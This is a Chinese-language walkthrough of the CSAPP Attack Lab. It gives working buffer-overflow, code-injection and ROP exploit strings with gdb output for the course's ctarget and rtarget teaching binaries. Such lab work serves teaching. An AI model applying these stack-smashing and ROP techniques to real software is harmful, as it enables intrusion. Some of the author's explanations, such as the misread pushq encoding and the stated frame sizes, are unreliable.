AttackLab
操作系統:linux
調試工具:gdb
Phase 1
我們是攻擊者,也就是hack,其實我更喜歡駭客這個翻譯,而不是黑客。phase1 ~ phase3
的攻擊方式都是運行CTARGET
使用注入代碼技術。
作為一名駭客小白,我們可以通過unix > objdump -d ctarget > ctarget.d
這段指令查看匯編代碼,但我更喜歡用用gdb里的disas指令展示函數。這樣更方便閱讀。(這里就不需要打斷點了)
/*function prototype*/
void test(){
int val;
val = getbuf();
printf("No exploit.Getbuf returned 0x%x\n", val);
}
unsigned getbuf(){
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void touch1(){
vlevel = 1;
/* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
Dump of assembler code for function test:
0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax
0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx #<getbuf>的返回地址
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: callq 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: retq
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
Dump of assembler code for function touch1:
0x00000000004017c0 <+0>: sub $0x8,%rsp #<touch1>的函數地址
0x00000000004017c4 <+4>: movl $0x1,0x202d0e(%rip) # 0x6044dc <vlevel>
0x00000000004017ce <+14>: mov $0x4030c5,%edi
0x00000000004017d3 <+19>: callq 0x400cc0 <puts@plt>
0x00000000004017d8 <+24>: mov $0x1,%edi
0x00000000004017dd <+29>: callq 0x401c8d <validate>
0x00000000004017e2 <+34>: mov $0x0,%edi
0x00000000004017e7 <+39>: callq 0x400e40 <exit@plt>
第一個攻擊任務是:
Your task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test.
你的任務是運行CTARGET使得當getbuf運行結束后,運行touch1,這些行為要在test返回之前完成。
原本主函數test調用了getbuf函數,test返回時就結束了。但我們要在調用getbuf函數之后再多一個調用touch1函數。如何完成這個任務呢?
我們知道,當調用getbuf函數時,棧會給存留一個返回地址棧幀0x401976
,執行getbuf函數結束后,通過這個地址返回主函數test。我們只要把這個地址改為touch1的函數地址0x4017c0
即可。
如何改呢?我們利用棧溢出的特性,因為getbuf函數開辟了40(0x28)beytes的棧空間,我們多輸入8bytes的touch1的函數地址用來覆蓋,之前的40bytes隨意輸入。(棧的一行里有8byte,返回地址也是8bytes)
同時注意到intel使用的是小端法排序,我們無需用0x注明十六進制,CTARGET會自動轉為十六進制。
key:
//level1.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40
(c0 17 40
后續的零可填可不填,會自動補上的)
我們通過unix> ./hex2raw < level1.txt | ./ctarget -q
進行攻擊。(./ctarget -q
,在./ctarget
之后加 -q
的原因是我們沒法連接上CMU的服務器,在本地運行驗證結果就行了;文件level1.txt
中存放着我們的答案)
hack@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for Phase1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40
Phase 2
先查看代碼及對應匯編代碼:
/*function prototype*/
void test(){
int val;
val = getbuf();
printf("No exploit.Getbuf returned 0x%x\n", val);
}
unsigned getbuf(){
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void touch2(unsigned val){
vlevel = 2; /* Part of validation protocol */
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
Dump of assembler code for function test:
0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax
0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx #<getbuf>的返回地址
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: callq 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: retq
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp #此時的%rsp還不是開辟空間的棧頂
0x00000000004017ac <+4>: mov %rsp,%rdi #此時的%rsp是已經開辟空間的棧頂
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
(gdb) disas touch2
Dump of assembler code for function touch2:
0x00000000004017ec <+0>: sub $0x8,%rsp #<touch2>的函數地址
----not need watch----
Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, however, you must make it appear to touch2 as if you have passed your cookie as its argument.
Phase2和Phase1類似,也是在test返回前調用一次touch2函數。但是在touch2函數val的值必須和cookie相同才算touch2函數調用成功。
那么得想辦法調用touch2函數,即注入touch2的函數地址。
advice:
Recall that the first argument to a function is passed in register %rdi.
%rdi
中存儲touch2函數着第一個參數。Your injected code should set the register to your cookie, and then use a
ret
instruction to transfer control to the first instruction in touch2.
你注入的代碼應該把寄存器%rdi
設置為cookie
,然后中使用ret
指令轉移控制權到touch2中的第一條指令(即touch2的函數地址0x4017ec
)。
根據advice及touch2源代碼可以知道:(要寫匯編代碼)
- 用
movq
指令,$0x59b997fa
移入%rdi
。從而val == cookie
函數touch2執行成功。(在cookie.txt中存着cookie的值0x59b997fa
)。 - 用
push
指令壓入touch2的函數地址,從而ret
時會返回為touch2的函數地址。
那么有:
//level2.s
movq $0x59b997fa, %rdi
pushq 0x4017ec6
ret
再將其轉化為機器代碼:使用linux> gcc -c level2.s
及linux> objdump -d level2.o
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ gcc -c level2.s
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ objdump -d level2.o
level2.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: ff 34 25 ec 17 40 00 pushq 0x4017ec
e: c3 retq
從而得到部分注入代碼:(機器代碼已經使用小端法了)
此處要將ff 34 25改為68才可通過,和標准答案編譯的不一樣,但不知道為啥,也許是我用`ubuntu`問題
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3
那么現在問題來了,從哪里注入代碼?答案應該是從棧頂,在getbuf
函數已經開辟棧空間的%rsp
處注入。
原因呢?如下圖所示,注入的register必須在stack top之前。
接下來我們查找getbuf
開辟棧空間的%rsp
對應地址。
(gdb) b *0x4017ac
Breakpoint 1 at 0x4017ac: file buf.c, line 14.
(gdb) run -q
Starting program: /home/duile/Desktop/csapp_lab/attack-handout/ctarget -q
Cookie: 0x59b997fa
Breakpoint 1, getbuf () at buf.c:14
14 buf.c: 沒有那個文件或目錄.
(gdb) print $rsp
$1 = (void *) 0x5561dc78
好,最終我們有,key: (注意填充已經開辟的棧空間40bytes以及小端法)
//level2.txt
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for Phase2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$
最后手繪一下,注入代碼后的部分棧空間:(鼠標畫的,字有點抽象)省略了getbuf
的return address
(注入順序和圖示順序相反)
Phase 3
查看(匯編)代碼:
/*function prototype*/
void test(){
int val;
val = getbuf();
printf("No exploit.Getbuf returned 0x%x\n", val);
}
void touch3(char *sval){
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
int hexmatch(unsigned val, char *sval){
char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
Dump of assembler code for function test:
0x0000000000401968 <+0>: sub $0x8,%rsp
0x000000000040196c <+4>: mov $0x0,%eax #此時%rsp是第一次開辟8bytes的棧頂
0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
0x0000000000401976 <+14>: mov %eax,%edx #<getbuf>的返回地址
0x0000000000401978 <+16>: mov $0x403188,%esi
0x000000000040197d <+21>: mov $0x1,%edi
0x0000000000401982 <+26>: mov $0x0,%eax
0x0000000000401987 <+31>: callq 0x400df0 <__printf_chk@plt>
0x000000000040198c <+36>: add $0x8,%rsp
0x0000000000401990 <+40>: retq
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
#41_line: 此時%rsp是在原先舊幀(test)之后再開辟的40bytes空間的棧頂
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
Dump of assembler code for function touch3:
0x00000000004018fa <+0>: push %rbx #<touch3>的函數地址
0x00000000004018fb <+1>: mov %rdi,%rbx
0x00000000004018fe <+4>: movl $0x3,0x202bd4(%rip) # 0x6044dc <vlevel>
0x0000000000401908 <+14>: mov %rdi,%rsi
0x000000000040190b <+17>: mov 0x202bd3(%rip),%edi # 0x6044e4 <cookie>
0x0000000000401911 <+23>: callq 0x40184c <hexmatch>
----not need watch----
Dump of assembler code for function hexmatch:
0x000000000040184c <+0>: push %r12
0x000000000040184e <+2>: push %rbp
0x000000000040184f <+3>: push %rbx
0x0000000000401850 <+4>: add $0xffffffffffffff80,%rsp
#79_line: 此時%rsp是在原先舊幀(test、getbuf)上再開辟的110bytes空間的棧頂
......
0x00000000004018cf <+131>: callq 0x400ca0 <strncmp@plt>
----not need watch----
先看看任務:
Your task is to get
CTARGET
to execute the code fortouch3
rather than returning totest
. You must make it appear totouch3
as if you have passed a string representation of your cookie as its argument.
你的任務是讓CTARGET
執行touch3
的代碼,而不是返回test
。你必須讓touch3
在test
之上(執行)看起來就像你(通過test
)傳遞了一個cookie的字符串表示作為touch3
的參數。
再康康建議:
advice:
You will need to include a string representation of your cookie in your exploit string. The string should consist of the eight hexadecimal digits (ordered from most to least significant) without a leading “
0x
.”
你將會用到cookie的字符表示。這個字符表示是連續的十六進制數字且沒有前綴0x
。Recall that a string is represented in C as a sequence of bytes followed by a byte with value 0. Type “
man ascii
” on any Linux machine to see the byte representations of the characters you need.
在c語言中,字符串表示的結尾是1byte的0(也就是'\0'
)。你可以在任何Linux機器中,使用man ascii
指令查看字符對應的ascii碼。Your injected code should set register %rdi to the address of this string.
你注入的代碼應該把%rdi
設置為字符串地址。When functions
hexmatch
andstrncmp
are called, they push data onto the stack, overwriting portions of memory that held the buffer used bygetbuf
. As a result, you will need to be careful where you place the string representation of your cookie.
當函數hexmatch
和strncmp
被調用時,它們會push數據到棧上,覆蓋部分調用getbuf
時存儲的內容。因此,你應該仔細確定在哪里放入你的cookie。
由此我們可以知道,和touch2類似,也是在使用test過程中先執行getbuf,在getbuf過程調用touch3,同時touch3會調用hexmatch,hexmatch會調用strncmp。我們通過匯編代碼可以知道它們分別開辟的棧空間是多少。
test(8b)
-->getbuf(40b)
-->touch3(0b)
-->hexmatch(110b)
-->strncmp(not need watch)
考慮到hexmatch開辟的110bytes棧空間,會覆蓋部分原有的getbuf開辟的40bytes空間。所以我們不能直接輸入cookie的字符表示(也就是cookie的ASCII表示)。
不能輸入立即數,那我們可以用輸入地址的方式,在此之前將cookie的ASCII表示先放入該地址當中。
那么,該放入哪個地址呢?我們這里選擇的是放入test的棧頂地址當中,原因有兩個。一是因為test的棧頂地址可以臨時使用,當test開辟棧空間后,它立刻調用了getbuf函數,其棧空間實際上沒有存放任何數據。當調用結束后,才開始在棧空間處存放數據。二是因為方便輸入,test開辟的8bytes空間,恰好用來直接輸入cookie的ASCII表示。
由此得出,先輸入cookie的ASCII表示,然后引用test的棧頂地址,再調用touch3,最后返回即可。接下來,我們按部就班的來。
- 先用
man ascii
指令查詢字符的ASCII表示:
Tables
For convenience, below are more compact tables in hex(Left) and decimal(Right).
2 3 4 5 6 7 30 40 50 60 70 80 90 100 110 120
------------- ---------------------------------
0: 0 @ P ` p 0: ( 2 < F P Z d n x
1: ! 1 A Q a q 1: ) 3 = G Q [ e o y
2: " 2 B R b r 2: * 4 > H R \ f p z
3: # 3 C S c s 3: ! + 5 ? I S ] g q {
4: $ 4 D T d t 4: " , 6 @ J T ^ h r |
5: % 5 E U e u 5: # - 7 A K U _ i s }
6: & 6 F V f v 6: $ . 8 B L V ` j t ~
7: ' 7 G W g w 7: % / 9 C M W a k u DEL
8: ( 8 H X h x 8: & 0 : D N X b l v
9: ) 9 I Y i y 9: ' 1 ; E O Y c m w
A: * : J Z j z
B: + ; K [ k {
C: , < L \ l |
D: - = M ] m }
E: . > N ^ n ~
F: / ? O _ o DEL
從左邊的16進制表示可以得到cookie的ASCII表示:
0x59b997fa
35 39 62 39 39 37 66 61
- 接下來查找test的棧頂地址:
(gdb) b *0x40196c
Breakpoint 1 at 0x40196c: file visible.c, line 92.
(gdb) run -q
Starting program: /home/duile/Desktop/csapp_lab/attack-handout/ctarget -q
Cookie: 0x59b997fa
Breakpoint 1, test () at visible.c:92
92 visible.c: 沒有那個文件或目錄.
(gdb) p $rsp
$1 = (void *) 0x5561dca8
那么test的棧頂地址為:0x5561dca8
.
- 引用test的棧頂地址(作為地址存放在%rdi中,作為輸入),再調用touch3(
0x4018fa
,之前的匯編已經給出),最后返回。得出如下匯編代碼:
//level3.s
movq $0x5561dca8, %rdi
pushq 0x4018fa
ret
反匯編得出機器代碼:
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ gcc -c level3.s
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ objdump -d level3.o
level3.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: ff 34 25 fa 18 40 00 pushq 0x4018fa
e: c3 retq
最終結合cookie的ASCII表示以及要注入的位置(getbuf棧頂地址:0x5561dc78
)可以得出key:
(要將ff 34 25
改為68
才可通過,和標准答案編譯的不一樣,但不知道為啥,也許是我用ubuntu
問題)
//level3.txt
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
注意,任何字符表示的結尾都要加上'\0'
,也就是16進制的00
。也許會有人問,test只開辟了8bytes的棧空間,這不會溢出到返回地址,然后覆蓋返回地址內容嗎?當然會,但是經過查閱,發現ctarget
的所有指令的地址400c48 ~ 402d7c
都只占據6byetes。從而test返回時的地址最后2bytes是無效位,覆蓋了也對返回地址沒影響。
驗證一下:
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for Phase3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
最后手繪一下,注入代碼后的部分棧空間:(鼠標畫的,字有點抽象)省略了函數的返回地址R.A.
(省略了getbuf, hexmatch
的return address
;hexmatch棧空間實際已經覆蓋了getbuf棧空間部分內容,但為了能看清楚,沒有展示出來)
Phase 4
日期:21.11.7 ~ 21.11.8
從Phase4起,用ROP(Return-Oriented Programming),以因為單單使用注入代碼(inject code)技術無法解決的棧隨機化、二進制文件被限制訪問的問題。
Phase4的任務和Phase2一樣:將%rdi設置為cookie,調用touch2。
ROP要用到gatgets
這個工具。
gadget:每一段gadget
包含一系列指令字節,而且以ret
結尾,跳轉到下一個gadget
,就這樣連續的執行一系列的指令代碼,對程序造成攻擊。
實驗老師已經很貼切的將我們需要用到的gatget
放進fram.c
文件里了。我們將其反匯編才可運用,終端指令如下:(注意是-Og
,O
要大寫,不然就會采用 stack frame pointer,而rtarget
里是沒有用該指針的,不加的話指令編碼會很復雜)
gcc -c -Og farm.c
objdump -d farm.o > farm.d
提示里有句很重要的話:
When a gadget uses a
popq
instruction, it will pop data from the stack.
說明使用gadget中的popq指令可以將棧的元素彈出,能夠彈出的位置當然只能是棧頂了。
再結合我們之前在Phase2注入cookie使用的是movq指令,可以猜測,這里應該匯編代碼應該是彈出cookie再將其移入%rdi
,即:(gadget中的指令都是以ret
結尾,所以彈出之后應該放在%rax
里)
popq %rax
movq %rax, %rdi
再參照表格:(這個圖片在Phase 5處)
得出上述匯編代碼十六進制表示:
58
48 89 c7
再於farm.d
文件中查找對應gadget
指令(直接ctrl+f查找48 89 c7
)。我們是要把cookie加進去,所以我們選擇addvel這一組如下:
0000000000000014 <addval_273>:
14: f3 0f 1e fa endbr64
18: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax <到movq位置需要加2>
1e: c3 retq
000000000000001f <addval_219>:
1f: f3 0f 1e fa endbr64
23: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax <到popq的位置需要加4>
29: c3 retq
最后在終端使用如下指令查找它們十六進制代碼:
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ gdb rtarget
......
(gdb) disas addval_273
Dump of assembler code for function addval_273:
0x00000000004019a0 <+0>: lea -0x3c3876b8(%rdi),%eax <movq>
0x00000000004019a6 <+6>: retq
End of assembler dump.
(gdb) disas addval_219
Dump of assembler code for function addval_219:
0x00000000004019a7 <+0>: lea -0x6fa78caf(%rdi),%eax <popq>
0x00000000004019ad <+6>: retq
End of assembler dump.
可以得出對應movq、popq對應的起始地址:0x4019a0 + 2 = 0x4019a2
,0x4019a7 + 4 = 0x4019ab
。
靈魂畫手又來啦。直接把gatget的指令的注入,pop之后會有一個數據,這個數據就是cookie。
key:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level4.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
Phase 5
21.11.20
phase 5和phase 3的相同任務,但同樣考慮到棧隨機化、二進制文件被限制訪問的問題。我們使用ROP解決。
Before you take on the Phase 5, pause to consider what you have accomplished so far. In Phases 2 and 3,
you caused a program to execute machine code of your own design. If CTARGET had been a network server,
you could have injected your own code into a distant machine. In Phase 4, you circumvented two of the
main devices modern systems use to thwart buffer overflow attacks. Although you did not inject your own
code, you were able inject a type of program that operates by stitching together sequences of existing code.
You have also gotten 95/100 points for the lab. That’s a good score. If you have other pressing obligations
consider stopping right now.
很喜歡老師非常誠懇的一段話。
回顧phase 3任務,也是在tset
返回前執行touch3
,但還要記得插入個cookie
的ascii代碼
由於思路堵塞,這里直接參考這位博主的思路:
- 因為開啟了棧隨機化,所以不能直接把代碼插入到絕對地址,必須找一個基准,我們就只能找%rsp。
- 因為touch3會開辟一個很大的buffsize,若把數據插到touch3下面的棧空間,有關內存之后基本就會被重寫,所以要存在touch3的更高地址處。所以要在%rsp上加一個bias才可以,即字符串地址是%rsp + bias。
- 沒有直接的加法指令,那就找兩個寄存器互相加,找到一個放在下面
- 具體的操作可以是這樣:
- 把
%rsp
里的棧指針地址放到%rdi
- 拿到bias的值放到
%rsi
- 利用
lea x, y
,把棧指針地址%rdi
和bias(%rsi
)加起來放到%rax
,再傳到%rdi
- 調用
touch3
關於寄存器的轉化,需要自己查表配出來。
我們先畫(寫出= =)出要執行的棧幀。
因為bias
的取值要根據插入的ROP指令數量來決定,bias = 8byte * 9 = 72 = 0x48
。(注意,直接用0x48覆蓋彈出的%rax的值也算一條ROP指令)
具體的查找指令對應十六進制代碼的過程就不詳述了,可以參考Phase 4
,直接放出答案。
key:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00
duile@ubuntu:~/Desktop/csapp_lab/attack-handout$ ./hex2raw < level5.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 CC 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 70 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
Reference Linking
Conclusion
21.11.20
- attack的要求蠻高,經常要找參考答案。
- 英文真的很重要(所以最近要用心、用腦備考六級了)
- 想到在補充
- 如有謬誤,敬請指正。